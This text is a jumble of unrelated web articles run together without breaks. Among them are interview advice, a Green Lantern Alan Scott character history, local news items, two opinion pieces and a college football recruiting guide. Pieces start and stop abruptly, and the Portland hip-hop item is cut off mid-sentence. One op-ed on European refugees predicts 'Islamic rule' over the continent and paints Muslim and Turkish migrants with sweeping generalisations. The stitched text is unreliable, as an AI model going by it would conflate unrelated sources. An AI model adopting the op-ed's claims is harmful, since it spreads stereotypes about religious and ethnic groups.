Just like any voter, the hiring manager has the talent to recognize soulless answers and canned responses. If you have once created a speech and now use it at each interview with no changes, you may get into a trap. Different companies and hiring managers want to hear some unique facts. You need to prove that you correspond to their particular position. So, you will not succeed, if you have just one version of your resume. Instead, you can apply for resume editing services and make your resume correspond to each position you apply for.
Make a Back Story
If you have ever attended any interview, you definitely know the common question asking an employee to tell about him/herself. Presidential candidates talk about the events that matter much in their life. They are trying to emphasize the hard years they have survived. Describe the long history of business experience, or unbelievable achievements at the university.
Take note and make such story for yourself. Be ready for this question and impress your hiring manager. Describe your working experiences, but don’t talk too much. Also, pay attention to the important details that influenced your career and self-development. You can include some personal facts as well. Needless to mention that you should have a million dollar resume and a flawless application.
Learn To Speak
Job seekers should treat any interview like debate prep. It’s important to sound good and loud enough, as well as be confident. Have some practice and answer questions aloud. You will get used to your own voice, so you will learn to control it in any situation. Remember that the interview is your self-presentation, so you need to learn to behave yourself.
While the hiring manager is looking for definite requirements, his/her personal attitude also matters a lot. This requires you to be good at communication to make a contact with your manager.
Make Your Brand
Today hiring managers are searching for an employee who knows the price of his/her time. Thus, you need to be confident, understand what you want to achieve and what you can do. Just with such clear idea of self-determination, you will send this message to every employer.
Your resume and social profiles should be based on this idea. It makes your candidacy strong and demanded. You can also talk to your colleagues and other professionals to get reviews of your work. You will be amazed at what you will hear from the others. All this information will help you create a full picture of your professional character.
Be Polite and Well-Mannered
Even if you don’t receive an invitation from an employer, you can send a covering letter reminding about yourself. Don’t underestimate the value of manners. During your job search you are making a network of professional connections, so you should bother about every person you meet and deal with. Mind that a hiring manager, who you have impressed, can recommend you, while not even hiring you at once. Also, learn how to deal with sticky situations during your interview to leave a positive impression.
Knowledge and working experience are the basic requirements you need to meet. You might have an excellent portfolio, but be rude at the interview. Thus, you should learn to communicate with different people. Try to find an approach to every person and establish solid connections. Also, mind that you have more chances at the interview, if a friend has recommended your candidacy, not only your resume was the best. So, you should always value the power of social media.Who the Clix? is a series of articles featuring information on comic book characters that have been made into figures for the popular tabletop game Heroclix. These articles are meant to help Heroclix players learn more about the characters behind their favorite pieces.
Today we look at the original Green Lantern: Alan Scott
Appearances in Heroclix: Superman/Wonder Woman, DC Heroclix 10th Anniversary, DC 75th Anniversary, Origin, Legacy
First Appearance: All-American Comics #16
Team Affiliations: Justice Society of America, Checkmate, All-Star Squadron, Sentinels of Magic
Created By: Martin Nodell and Bill Finger
Pre-Crisis
Thousands of years ago a meteor fell to earth, giving off a powerful green flame. The flame predicted it would act three times: once to bring death, once to bring life and once to bring power. Some time later, a lamp-maker forged the meteorite into a lamp. The local villagers viewed this as sacrilege and killed him only to be destroyed by a blast of the green flame from the lamp. Much later, a mental patient found the discarded lamp and fashioned it into a modern lantern. The green flame restored this patient’s sanity and gave him new life.
Finally, in 1940 the green lantern fell into the hands of Alan Scott, a young railroad engineer. The flame taught Scott how to use a portion of the metal to forge a ring and use it to wield the green flame’s power. Though Alan Scott becomes a Green Lantern, his ring has many powers but is not the same as the power ring wielded by the Green Lantern Corps. Alan’s ring allows him mental control, flight, energy manipulation and the ability to move through solid objects via the fourth dimension. On rare occasions it could even allow time travel. Scott uses his new found powers to become a superhero and helps found the Justice Society of America.
The JSA battle Ian Karkull who imbues them with a strange energy that keeps them and their spouses youthful for decades. Early in the 1950s, they are investigated by the Joint Congressional Un-American Activities committee and accused of having communist sympathies. When asked to reveal their identities, most of the group declines and chooses to instead retire.
The JSA reform in the 1960s and meet their counterparts on Earth-One, the Justice League of America. Alan shares sevearl adventures with Hal Jordan, the Green Lantern of Earth One. In his civilian identity, Alan runs the Gotham Broadcasting Company as well as marrying Rose and Thorn. The GBC is ruined by creditors at one point, but the JSA helps Alan recover personally and professionally. Alan and his wife have two children, Jade and Obsidian. In the 1980s, Alan (single again) remarries, this time taking up with Molly Mayne, his one time nemesis the Harlequin. Alan also reconciles with his children.
Post-Crisis
On post-crisis Earth, Hitler detonates a doomsday weapon that draws the JSA into a limbo dimension to fight and eteranl Ragnarok. Eventually the Waverider is able to save the JSA from this dimension and return them to the modern day Earth. Alan helps his teammates battle the Ultra-Humanite, Kulak the Sorceror and others. He also reconnects with his wife and children, all of whom have aged without him.
Alan is among the heroes that travel to Oa with Guy Gardner to investigate a distress signal. There they are met and defeated by Hal Jordan, now calling himself Parallax and insane from the destruction of his home, Coast City. After the seeming destruction of the Green Lantern Corps, the last Green Lantern ring seeks out a young artist named Kyle Rayner. Alan Scott finds the young man and informs him of the cosmic events that led to his new super-hero identity. After being defeated alongside his teammates by Extant, Alan gives his original ring to Kyle and passes the Green Lantern title on. Parallax later destroys this ring.
The Starheart eventually becomes a part of Alan’s body and rejuvenates him to a youthful appearance. Alan begins to call himself Sentinel and founds a new JSA. Unable to cope with this, his wife Molly sells her soul to Neron for youth. Alan goes to the demonic realm and recovers his wife’s soul with the help of Phantom Stranger, Zatanna and Kyle Rayner. Alan continues to adventure with the JSA and eventually begins calling himself Green Lantern again.
Alan helps a resurrected Hal Jordan, John Stewart, Guy Gardner, Kyle Rayner and Kilowog battle and defeated a Parallax-possessed Ganthet. Parallax then tires to control Alan but finds it is unable to and so decides to simply kill him. With the help of the Spectre, Hal is able to break Parallax’s control and save his friend. Alan later becomes an honorary member of the Green Lantern Corps.
Alan and his daughter, Jade, are among those that help Donna Troy battle Alexander Luthor, Jr during the Infinite Crisis, though Jade loses her life. As Adam Strange tries to teleport the heroes to safety with a Zeta beam, it is fractured and costs Alan his eye. After many more misadventures, Alan falls into a coma and is visited by the spirit of his daughter who gifts him a portion of her energy. When he wakens, his eye has been replaced with a mystical green orb that can track astral energies.
Alan Scott soon joins Checkmate and has difficulties with fellow member’s policy on killing. Alongside Amanda Waller, Alan tries to keep the group together and on the side of the angels.
Alan then helps the Justice Society members that battle the powerful being Gog. Though Alan falters in the hopes that Gog can resurrect Jade, he inevitably helps the heroes remove Gog from Earth and leave him on the Source Wall. He then goes on to resist Darkseid’s forces as well as the Black Lanterns, even helping Jakeem Thunder build a “black lantern bomb.”
After the White Lantern’s power resurrects Jade, she travels to Oa to heal and recuperate. However, the Starheart soon finds her in space and captures here before returning to Earth and poisoning metahumans all over the planet. Alan himself is then corrupted as his ring forms green medieval armor and he states his intention to destroy the Earth.
After building an emerald city on the moon and leaving fellow team member Starman powerless, Alan is confronted by a team led by Batman that includes Jade. Jade uses her power to purge the Starheart’s influence from her father. Once again in his right mind, Alan decides to leave the city in place and invites mystical heroes to come to it for asylum.
Alan and the JSA face Scythe: a Nazi genetic experiment that Alan and Jay had been tasked with destroying during World War II but had failed to due to disagreement about what to do with it. Scythe snaps Alan’s neck and leaves the hero paralyzed, unable to attempt to heal himself lest the Starheart take control of his body once more. D’arken later escapes and steals the powers of several JSA’ers. Panicked, they conclude that the only way to defeat the villain is to unleash the Starheart’s energies. Alan does so to save the world and is incinerated in the power surge.
Earth 2
Alan Scott is the young good looking head of GBC productions on Earth 2. He and his boyfriend Sam are on a bullet train in China, with Alan ready to propose, when the train derails and kills everyone on board save Alan. Scott is protected by a green flame that speaks to him and heals his wounds, informing him of the threat that the Rot poses to the planet. The flame gives him a costume and transforms his engagement ring into a power ring, giving him a power linked to the Green of Earth 2.
As the new Green Lantern, Alan allies with other Wonders to battle Grundy and resist Darkseid. He is among the heroes that battles Talos during the Convergence and helps the citizens of Earth 2 survive and transport to their new earth.
Recommended Reading:BALTIMORE (WBFF)-- Gloomy weather didn't stop hundreds of Bernie Sanders supporters in Baltimore from gathering for a march and rally.
Event organizers estimated between 800 to 1,000 people showed up Saturday morning to the intersection of Pennsylvania Avenue and North Avenue before walking more than two miles downtown to Pulse Nightclub near the Hollywood Diner on E. Saratoga Street.
"Sanders is old school," said photographer Dominic Nell. "I feel like he might be the new blood that we need."
It didn't matter to supporters that their candidate wouldn't be at the rally. Kyle Mason said the spirit of Sanders was in everyone in attendance.
What I love most about Sanders is, it's not about him," said Mason. "It's about empowering others to use their voices."
Local leaders and politicians spoke at the rally including some who met Sanders when he came to Baltimore last year.
"The fact that he put boots on the ground and looked me in my eyes and said he's going to fight for us in Baltimore and fight for the state of Maryland," said Marques Dent, a candidate for Baltimore City Council's 3rd District seat. "Fight that we can have a living wage and that we can have free college--he was my candidate."
While opinions differed among supporters about who they would vote for should Sanders not get the Democratic presidential nomination there was another message that reverberated throughout the nightclub - vote and encourage others to do the same.Former Tucson Roadrunners hockey player Craig Cunningham lost part of his leg following a medical procedure, ESPN reports.
Doctors conducted the partial amputation Dec. 24 in order to prevent a possible spread of infection that could complicate his recovery.
Cunningham collapsed on the ice before a game Nov. 19. Medical personnel performed chest compressions on him before transporting him to the hospital.
The 26-year-old required 85 minutes of CPR.
Doctors from Banner-UMC and Carondelet St. Mary's Hospital performed a series of innovative medical procedures to help save Cunningham and he was released from the hospital in late December.
"Every time I think about how I can't play anymore, I just think back to [the fact that] I'm lucky I'm not 10 feet under," Cunningham told ESPN Monday evening from Banner-University Medical Center. "If I have to sacrifice playing hockey to be alive -- and it's a tough pill to swallow for sure, it's been my whole life since I was 4 years old -- it's time for me to move on."Motion sickness is a problem — not just in video games, but in hardware as well. One company is hoping to develop a virtual reality rig that circumvents illness triggers, reports The New York Times.
Virtual reality is rapidly becoming the next big thing, with Oculus and Sony both racing to produce powerful — and entertaining — head-mounted displays. Oculus is shipping the second iteration of its Oculus Rift headset this month, while Sony's Project Morpheus, unveiled this past spring, is still in development.
These technologies aren't the most entertaining for everyone, however, especially when nausea and fatigue flare up. Meanwhile, more widely-consumed hardware like Google Glass can't create virtual reality products because it only utilizes one eye and cannot produce 3D images.
Start-up Magic Leap is working to create virtual reality using digital light-field technology. The company uses light fields to encode more information about scenes to better help the brain read depth cues and light patterns, avoiding the neurological triggers that bring on motion sickness. With this, Magic Leap is hoping to create VR simulator headsets that can be worn for extended periods of time by projecting a "3D light sculpture" directly onto users' retinas.
According to biomedical engineer Rony Abovitz, founder of Magic Leap, this technology is being developed with everyday use in mind.
"Our real market is people doing everyday things," said Abovitz said. "Rather than pulling your mobile phone in and out of your pocket, we want to create an all-day flow; whether you're going to the doctor or a meeting or hanging out, you will all of a sudden be amplified by the collective knowledge that is on the web."
More on Magic Leap's vision for virtual reality, which also appears to include technology that doesn't require glasses or goggles, is available at the company's webpage.Like everyone, I have also been watching the refugee "invasion" of Europe in the past few days. And an examination of the European Union's plan for taking them in has finally convinced me that the Europeans still know nothing about what is happening in the Middle East – and definitely not about the danger they are facing.
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The European leaders, led by the leaders of Germany and France, didn't understand anything about 40 years ago, when they opened their gates to laborers from Turkey and the Maghreb countries. Now they are repeating the same mistake – and this time to a much larger extent.
Arab Silence Can a shocking picture change the plight of Syrian refugees? Smadar Perry Op-ed: As he buried his wife and two little boys in Kobani, Abdullah al-Kurdi appealed to Arab leaders to draw conclusions from his tragedy and help other refugees. But will anything happen after the shocked world forgets the 'picture of the year'? Can a shocking picture change the plight of Syrian refugees?
Whether out of innocence or out of foolishness, the Europeans are failing to realize that they are singlehandedly creating fundamental changes in their populations, which will lead in the coming years to the complete disappearance of the tradition, culture and progress of their countries. In other words, in the not so distant future we will witness the end of "classic Europe" and the establishment of an Islamic rule across the entire continent.
Refugees in Munich, Germany. 'The refugees, who are mostly Muslims, have turned Germany into a territory in which they will set the tone and become the real rulers' (Photo: AFP)
This may sound apocalyptic. However, it's close to becoming a fact. Germany, which is willing to take in 800,000 to 1 million refugees every year, is incapable of turning them into full-fledged citizens. On the contrary: The refugees, who are mostly Muslims, have turned Germany into a territory in which they will set the tone and turn into the real rulers.
Just like Germany failed in its efforts to take in hundreds of thousands of Turkish work migrants – who have so far preserved their language, their traditional customs, including vendetta and "honor killing," and who don’t even turn to civil courts to settle issues like murder but prefer their traditional courts – it definitely won't manage with the millions of Muslims it is willing to take in now. Not to mention France or Sweden, which are even less prepared.
The EU plan also details the number of refugees who are supposed to be taken in by Poland, Romania, Bulgaria, the Czech Republic, Slovakia and Croatia. But this is just further proof of the misunderstanding of the continent's leaders: It's clear that not a single refugee will agree to settle in countries like Bulgaria and Romania, which are among the poorest in Europe, and it's not at all certain that countries like Poland and the Czech Republic will agree to take in the refugees.
It's also strange that Europe's leaders are unaware of the fact that the large majority of their public doesn’t even want the refugees. So in conclusion, it seems that Europe is once again ignoring the dangers it is facing and is failing to realize that this is the beginning of the end of the old continent.This is a drawing that I did after I looked at the comic that was done by puppysoftpaws who had done this comic for Wubcake as a cute little gift. I loved it so much when I first saw it, that I decided to do some drawing with Adagio, since I couldn't stop thinking of Adagio in a drawing. So this is what I finally did.Here is the comic, I love it so much: sonicfan1345.deviantart.com/ar… So here is Adagio Dazzle in a new outfit. Now, as you can see, Adagio loves this top that she is wearing because she loves to pull down the sleeve in a seductive and flirty way. So I wonder how Sunset or Cupcake Slash is handling this. Oh boy! X3I hope you like it.Adagio Dazzle (C) HasbroArtwork (C) MeMic Capes and The Resistance at PDX Pop Now! 2014
Portland MC Mic Capes performs with the Resistance at PDX Pop Now! at Audio Cinema on July 19, 2014. (David Greenwald/The Oregonian)
(David Greenwald/The Oregonian)
Portland will honor its hip-hop community for the first time on Oct. 15, with a Hip-Hop Day celebration and live concert at City Hall. "I am so excited to have Portland hip-hop artists in City Hall," Mayor Charlie Hales said in a statement to the Oregonian. "One of the things I love about this city is the creative energy we bring to everything we do. When The Decemberists launched their album in City Hall, we saw how there could be creativity in civic engagement. With the help of our wonderful partners StarChile and DJ O.G.ONE, we're going to have some of Portland's top hip-hop artists perform in City Hall, honoring hip-hop as an important piece of our identity as a city--and hopefully bringing people to City Hall who've never been here before." Before the official confirmation, news emerged through
: the Portland MC shared an announcement with a list of performers and a different statement. "I want to help deliver the message that hip-hop has an important place in the identity of our city," Hales is quoted in Capes' post. Hip-hop's place in the city has been hotly debated in the last two years. Tensions between Portland authorities and the |
-- Panama, Fiji, Togo, Sri Lanka and Vanuatu -- had made significant progress, but the Commission is continuing to monitor the situation.
Another three countries -- South Korea, Ghana and Curacao -- received warning "yellow cards" in November and are currently being evaluated.
Illegal fishing activities: trade measures decided by the CouncilYouTuber Brooke Roberts reunites homeless woman with family through chance sighting in video
Updated
An Australian teen YouTuber known mostly for his prank videos has been behind reuniting a family in the United States — almost by accident.
Brooke Roberts, who runs YouTube channel Prank Nation, posted a video of himself giving sandwiches to the homeless in downtown Los Angeles on July 4.
Shortly after, on the other side of the country in Florida, 10-year-old Evan Olsen was watching online videos for fun when he spotted his mum in Mr Roberts' video, sitting on a Skid Row street kerb and accepting a bag of food.
Jaime Garlinghouse had been missing for months after a long struggle with a mental disorder, and the family had feared she was dead.
Evan's father Eddie Olsen said the boy was overcome with emotion.
"Evan cried for an hour and a half, he couldn't even talk for 20 minutes. It was pretty amazing, he was so relieved to know that she's still alive," Mr Olsen said.
He made contact with Mr Roberts in an attempt to track Ms Garlinghouse down. But when Mr Roberts returned to the place where he had first met her, she was nowhere to be found.
Two days of searching by Mr Roberts proved fruitless, so Mr Olsen made the cross-country trip to help find her.
Finally, after many more hours of searching, Mr Olsen was ready to give up. Then he walked down one final street.
"I started walking down the street that I wasn't going to go down for some reason, and all of a sudden Jaime came walking up and she couldn't believe that I was standing there," he told Mr Roberts over the phone moments after finding her.
"I feel like the universe guided me there because I didn't want to go that way and I wasn't going to go that way but I went that way anyway."
Ms Garlinghouse was able to go back to Mr Olsen's hotel room for a shower and to sleep safely in a bed for the first time in a long time. The next day, they went shopping for fresh clothes and other essentials.
Bedtime phone calls from mum
It is not a story that ends with a tidy bow; Ms Garlinghouse is still living on the streets because, without official identification documents, she cannot travel by plane or even stay in homeless shelters.
But a crowdfunding campaign set up by Mr Olsen and Mr Roberts is helping her work towards a more stable life.
She also has a phone now, and talks to Evan before he goes to bed each night.
Mr Olsen said despite her mental health issues, the disappearance had been unusual.
"She was always a good mum, she was always there. When she disappeared in November and she missed [Evan's] birthday and she missed Christmas and she missed everything … I thought something bad happened to her," he said.
"Even with her mental state... she was still a good mum."
Mr Roberts, who hails from Adelaide and is only in the US for a month or two to film social media videos, has been in almost constant contact with Mr Olsen as the pair of them navigate Ms Garlinghouse's recovery.
The 19-year-old said he was still in shock.
"It's such a slim chance," he said.
"I'm so shocked that out of the billions of people in the world, the son found the video. Every morning I wake up and think, 'is this a dream?'"
Topics: human-interest, social-media, internet-culture, united-states
First postedDIGG THIS
What a week was the week of September 14. Bankruptcy and bailout were the words of the week. Lehman Brothers went bankrupt and American International Group (AIG) was bailed out by the Federal Reserve (by the holders of American dollars and dollar denominated savings and investments) while earlier in the month Fannie Mae and Freddie Mac were bailed out by the US Treasury (by the American taxpayer) and earlier in the year Bear Stearns was bailed out by the Federal Reserve. Then the US Treasury and the Federal Reserve put together the mother of all bailout programs proposing another Resolution Trust Corporation, similar to the one used during the administration of the senior Mr. Bush to bail out the savings and loan industry. This Resolution Trust II will take over all the "toxic" mortgages and other bad deals made by some of the financial buccaneers on Wall Street and some other international financiers. These debts will ultimately have to be liquidated at cents on the dollar. The US taxpayer will be responsible for the almost $1 trillion cost of this bailout program. This is in addition to the cost of the bailout of Fannie Mae, Freddie Mac and Bear Stearns. Does anyone truly believe that there will be only a $1 trillion cost for this when your objective is to bail out the malinvestments made by some of the world's financiers? How long will be the line for a bailout? Will the line end with the financiers or will it include other industries as well (the automotive industry has been actively seeking its own bailout by Congress)?
As the Austrian economists know, the root cause of this financial crisis is the spendthrift US government and the resulting inflation by the Federal Reserve which created this bubble. Ron Paul has spoken at length about this. A lot of money was made available by the Federal Reserve so the wizards on Wall Street invested in high-risk investments and the investments ultimately went terribly wrong. To compound the problem some investment firms such as Bear Stearns and AIG insured the bad investments against defaults. They were the insurers of last resort if you will that is until Hank and Ben arrived on the scene to help Wall Street clean up its mess. Ben and Hank should abandon their bailout plan and let Wall Street experience the consequences of their actions.
We should feel no sorrow for the Wall Street financiers and swap traders. They were playing in the risk market and ultimately lost when the market turned against them. Since the companies such as Bear Stearns and AIG made the profit from insuring against the risk why should the American taxpayer now be asked to foot the bill for the defaults? These were experienced financial risk (hedging) managers and valuers of risk supported by teams of bright lawyers, accountants and other professionals. They wrongly assumed that the inflation would continue forever and that consequently homeowners would forever be prosperous and continue to pay their mortgages. They learned nothing from the dot com bubble nor did they understand the long history of financial bubbles. Rather than taking their profits (they made a lot of money on the way up) minimizing their exposure and exiting from this risky business they continued and got caught as they tried to wring the last bit of profit from their business (they lost a lot of money on the way down). There is a saying in the futures business that "bulls make money, bears make money, pigs get slaughtered" and so it happened to these financiers and traders. They should all attend a course in Austrian economics at the Mises Institute so they understand the business cycle.
Ironically the firm least affected by the crisis, J P Morgan Chase, was the one that created the derivative called Credit Default Swaps (CDS) in the early 1990s as a means to hedge their loan risks. Having created this derivative perhaps J P Morgan Chase understood the inherent long-term risks. The derivatives market is a private contractual market functioning in what is referred to as the Over the Counter market (OTC). The sole purpose of the derivatives market is the allocation, hedging, valuation and pricing of risk pure and simple. It has no other function. A CDS is an insurance policy (called protection in the swaps market) against default on a debt such as a bond or loan. An initial premium and thereafter annual premiums are paid for 5 years by a protection buyer to a protection seller to cover any loss on the face amount of the bond or loan for which the insurance is written. If ultimately the seller of the CDS is not financially capable of paying the protection buyer in the event of a default then the buyer of the CDS insurance is out the premiums paid and has no coverage for the default. The protection buyer is no longer hedged against the default and must so indicate such in its financial statements. It is estimated by the International Swaps and Derivatives Association (ISDA) that there is currently $62 trillion worth of CDS in the market.
If an investor wants to acquire the bonds of company X but is concerned about company X's default on the bonds the investor can hedge the investment by purchasing from a protection seller (such as Bear Stearns or AIG) CDS insuring the investor against the default of the bonds of company X. The investment house makes its money in valuing and pricing the risk of default by company X. This is a market populated by highly experienced and sophisticated risk valuers who know how to value and price risk.
Ultimately the value of CDS on referenced bonds impact on the ability of the company to raise capital. For example if traders bid up the price for CDS on the bonds of company X the CDS market is indicating that company X is likely to default on its bonds. This makes borrowing by company X more difficult and more expensive or impossible. This is what ultimately happened in the case of AIG which explains why initially AIG was seeking $20 billion, then $40 billion and by the time that Ben took over AIG the company required $85 billion.
Now imagine what happens when AIG and other investment firms issue CDS to cover asset-backed security pools consisting of collateralized debt obligations (CDOs), pools of subprime mortgages, pools of Alt-A mortgages (Alternative A mortgages, which are more risky than prime mortgages and less risky than subprime mortgages), prime mortgage pools and collateralized loan obligations. You can begin to see where this story is heading.
As the housing market collapsed, foreclosures (mortgage defaults) began to rise. As the mortgage defaults increased, the value of the pools of mortgages insured by companies such as AIG and Bear Stearns began to fall. As the credit crisis spread to other pools of loans a company insuring against such defaults experienced more claims. As the claims began to mount the losses began to increase. The company had to meet margin calls on the CDS by putting up more collateral. As the downward spiral continued the company had to meet more margin calls and put up more collateral against its CDS exposure. In the business world this is often called "the death spiral." What happens to all the financial institutions with bonds or loans protected against default by the CDS they purchased if the protection seller (provider of the insurance) is unable to pay the protection buyer (the insured) for any default claims? Soon all these financial institutions and their balance sheets are exposed to defaults without any protection against default. There is no longer any hedge of the risk. The financial institutions are now forced to revalue and write down the value of the assets on their balance sheet. This in a nutshell is what has happened.
Should the American taxpayer bail out these financial institutions? No. These institutions are staffed by experienced and sophisticated financial managers and risk takers who entered into these transactions on behalf of their company. The nature of the business in which they engage is RISK. The fact that they purchased CDS to provide insurance protection or a hedge in the event of default is evidence of their knowledge of the risky nature of the debt in which they were investing. If there were no great risk then there would be no need to purchase a hedge against the risk. The sellers of protection against default valued and priced the insurance being provided in line with their assessment of the risk of default. It is unfortunate for the holders of such mortgage pools and providers of CDS insurance that the market took the turn it did but that is the nature of the high-stakes business in which they were engaged and the nature of rising markets which ultimately come to an end.
Oil and gas producers take the risk of dry holes (not being able to produce commercial quantities of oil or gas) every time they drill for oil or gas but they do not run to the government for bailouts when they experience dry holes. They understand and accept the risk associated with the exploration and production business. Every business has risk associated with it. Retailers attempt to judge next year's fashions when they commit to production or purchases of those fashions this year. As the Kenny Rogers song goes you have to "know when to hold them, know when to fold them, know when to walk away." The American taxpayers must walk away from the bailouts proposed by Messrs Paulson and Bernanke and the Bush administration and the US government and Federal Reserve should cease their intervention in financial markets.
September 26, 2008
The Best of Jacob SteelmanBERLIN — A letter that was found after explosions damaged the team bus of one of Germany’s premier soccer teams called for the country to scale back its involvement in the Western military coalition in Syria, the authorities said on Wednesday.
Frauke Köhler, a spokeswoman for the Federal Prosecutor’s Office of Germany, also said that two people with an “Islamist background” had been taken into custody after an attack on the Borussia Dortmund bus Tuesday evening when the team was traveling to its stadium for a Champions League match against A.S. Monaco.
The game was postponed and kicked off Wednesday night at a packed stadium in Dortmund under tightened security.
Ms. Köhler said the letter demanded that Germany withdraw its Tornado aircraft from the campaign in Syria, where they are used for reconnaissance and where the Islamic State is under attack from a multinational coalition trying to push it from its strongholds.Some college football fans follow recruiting obsessively, all year. With signing day coming Wednesday, some may need to do a little homework.
For the most part, the Hurricanes’ recruiting class is known. Ten players are already on campus as early enrollees. Wednesday, somewhere around 16 more will sign letters of intent and become Canes. There are always late surprises, but the players below have said they are solidly committed to UM.
Along with their name, photo and status (committed, signed or enrolled), you’ll find their vital stats and how they were ranked by the major recruiting sites. You’ll also see my projection on their future role at UM, from talking to players, coaches, analysts, reviewing film and other research (these are not what I expect the player to do in Year One, but an idea of what they may be eventually. Keep in mind these projections are solely for entertainment value).
Finally, there are a few offbeat items about each player, plus links to their highlight tapes and video interviews.
Want a flashback? Check out the field guides from 2016, 2015 and 2014.
Meet the new Canes:
QUARTERBACKS
N’Kosi Perry
Status: signed
Size: 6-4, 180
School: Ocala-Vanguard
Stats: Threw for 2,267 yards and 31 touchdowns as a senior (Rivals). As a junior, threw for 2,510 yards, 33 touchdowns and three interceptions on 58 percent passing (247)
Stars: Four (247, Rivals, ESPN)
Rank: No. 3 dual-threat QB, 84th overall (ESPN), No. 8, 188th (Rivals), No. 9, 355th (247).
Projection: Highly productive starting quarterback – maybe even this fall. Perry is still a bit raw as a passer, but his talent is undeniable. It appears he will see the field as soon as he’s ready. Fellow commit DeeJay Dallas likens him to former Georgia quarterback D.J. Shockley, while some inside the program name-check Deshaun Watson when speaking about Perry’s potential. ESPN’s scouting report said his ability to make plays when the pocket breaks down is Lamar Jackson-like. That’s something the Hurricanes, looking for Brad Kaaya’s replacement, could use.
Fun facts: Committed to Al Golden in Sept. 2015 and backed off last February, saying he committed too early. Mark Richt convinced him to jump back on board in March, and spurn Auburn and Tennessee … Took no official visits besides Miami – high school seniors are allotted five, paid for by the school – though he unofficially visited Florida State and Florida last summer … Said he “could see myself living the rest of my life” in Miami … A breakdown of his senior year is here, and a look at his potential standing in the Miami quarterback battle is here … Wore No. 7 in high school.
On tape: Highlights from Paradise Camp last July: http://caneswatch.blog.palmbeachpost.com/2016/07/17/paradise-camp-2016-nkosi-perry-highlight-video-miami-hurricanes/ … Hudl highlight page: https://www.hudl.com/profile/3293951/nkosi-perry … MaxPreps highlight reel: https://www.youtube.com/watch?v=pZ6P1FVKJ0k
Cade Weldon
Status: enrolled
Size: 6-3, 204
School: Tampa-Jefferson
Stats: As a senior, threw for 3,135 yards and 19 touchdowns on 61 percent passing; 368 rushing yards, one touchdown (UM).
Stars: Three (247, Rivals, ESPN)
Rank: No. 19 pro-style QB (Rivals), No. 23 (ESPN), No. 42 (247)
Projection: Potential starting quarterback. Weldon’s chances of taking over for Brad Kaaya are as good as anyone’s, with none of the returning scholarship quarterbacks having established themselves and the more highly touted Perry arriving in the summer. Weldon could emerge from the spring as the man to beat. He is a mechanically sound quarterback who sees the field well, and is a threat to run (before a knee injury cost him his junior season, he was running the 40-yard dash in the high-4.5s, his coach told Canesport). He needs to increase his weight and strength, but has the mind and skill to be a starter at the Power 5 level, ESPN wrote.
Fun facts: A few plays into his junior season, tore the ACL and MCL in his right knee … Dad is Casey Weldon, who shined at Florida State under quarterbacks coach Mark Richt. Casey was an All-American and finalist for the 1991 Heisman Trophy … FSU didn’t offer cade. Kentucky, South Carolina, Temple, Toledo, USF and Wake Forest did … On a December visit to the Weldon house, Mark Richt and quarterbacks coach Jon Richt lost in ping-pong to the father and son team of Casey and Cade Weldon. In the Richts’ defense, the Weldons play a lot more.
On tape: Hurricanes alum Steve Walsh breaks down Weldon’s film: https://www.youtube.com/watch?v=Y0C4hcRJQZs … Hudl highlight page: https://www.hudl.com/profile/3961104/cade-weldon
RUNNING BACKS
Robert Burns
Status: enrolled
Size: 5-11, 216
School: Miami-Gulliver Prep
Stats: nine carries for 53 yards and a touchdown as a senior, 60 carries for 265 yards and four touchdowns as a junior; averaged 65 carries, 450 yards and seven touchdowns in his first two high school seasons (247).
Stars: Four (ESPN), three (247Sports, Rivals)
Rank: No. 11 running back, 108th overall (ESPN), No. 58, 1073rd (247), not rated (Rivals)
Projection: Rotational power back or starting fullback. Burns is a thickly built runner with good top-end speed and solid change-of-direction. “Robert has all the tools to be an every-down back,” UM running backs coach and offensive coordinator Thomas Brown said. “He is built to wear defenses down, and has enough speed to create explosive runs.” His main problem has been staying healthy; his junior and senior years were ruined by ankle and shoulder injuries, and he played in three games as a senior. That could explain both his drop in stats and that discrepancy in ratings. Burns was an Under Armour All-America selection but didn’t play in the game because of an ankle injury. He told 247Sports he would work at fullback in addition to tailback this spring.
Fun facts: At 15, wowed at a Nike combine with a 4.58 40-yard dash and 39.3-inch vertical leap. Those numbers wouldn’t have looked out of place at the NFL combine … A Florida City native who lived with his godparents while attending Gulliver … Also preached at several local churches growing up and had his own “socially responsible clothing line” … Flirted with Notre Dame during senior year but held firm to Miami pledge he made as a sophomore … Plans to wear No. 22, his high school number, at Miami … Was recruited by Richt and Brown while they were at Georgia. Others offers included Alabama, Clemson, Florida, Florida State, Ohio State and others.
On tape: Hurricanes alum Duke Johnson breaks down Burns’ film: https://www.youtube.com/watch?v=lQ8wQRq3h3k … Hudl highlight page http://www.hudl.com/profile/2687493/robert-burns
WIDE RECEIVERS
WR Jeff Thomas
Status: signed with Miami
Size: 5-10, 165
School: East St. Louis (Illinois)
Stats: 1,101 yards, 13 touchdowns on 50 catches as a senior; 1,145-7-54 as a junior (MaxPreps)
Stars: Four (247, Rivals, ESPN)
Rank: No. 8 wide receiver, 55th overall (ESPN), No. 8, 57th (Rivals), No. 9, 52nd (247)
Projection: Major weapon. His speed and big-play ability were why he was MVP of the Under Armour All-America Game. He had two long touchdowns off short throws. At Miami, he could be a multipurpose threat, especially in the slot or on jet sweeps and bubble screens. “A true burner,” ESPN wrote, noting that he is “fearless” and “should be able to run away from nearly everyone at the next level.” Along with Ahmmon Richards and Mike Harley, he would give Miami’s receiving corps the speed it had with Phillip Dorsett, Herb Waters and Stacy Coley a few years ago. He was named fastest player at “The Opening” combine last summer:
Fun facts: Rivals named him the “most exciting and dynamic player” and the “game-changer” of the Under Armour All-America week. He recorded 148 receiving yards and two touchdowns (both records in the 10-year-old event), including a 79-yarder and 44-yarder … Turned a few heads by showing up on his Miami official visit wearing gear with an orange-and-green “F” logos on it. Florida Gators? Nah. His high school team is the Flyers … Wore No. 4 for said Flyers … Also played cornerback … Chose UM over Oregon, Illinois and Louisville.
On tape: Footage from Under Armour All-America practices: https://www.youtube.com/watch?v=qqii_gMlwS8 … Senior year mixtape, showing UA Game highlight: https://www.youtube.com/watch?v=lakVP7WyOm0 … Hudl highlights: https://www.hudl.com/profile/3343060/jeff-thomas
Mike Harley
Status: signed
Size: 5-10, 160
School: Fort Lauderdale-St. Thomas Aquinas
Stats: 553 yards, nine touchdowns on 35 catches as a senior (MaxPreps)
Stars: Four (247, Rivals, ESPN)
Rank: No. 18 wide receiver, 123rd overall (Rivals), No. 34, 265th overall (247), No. 42 (ESPN)
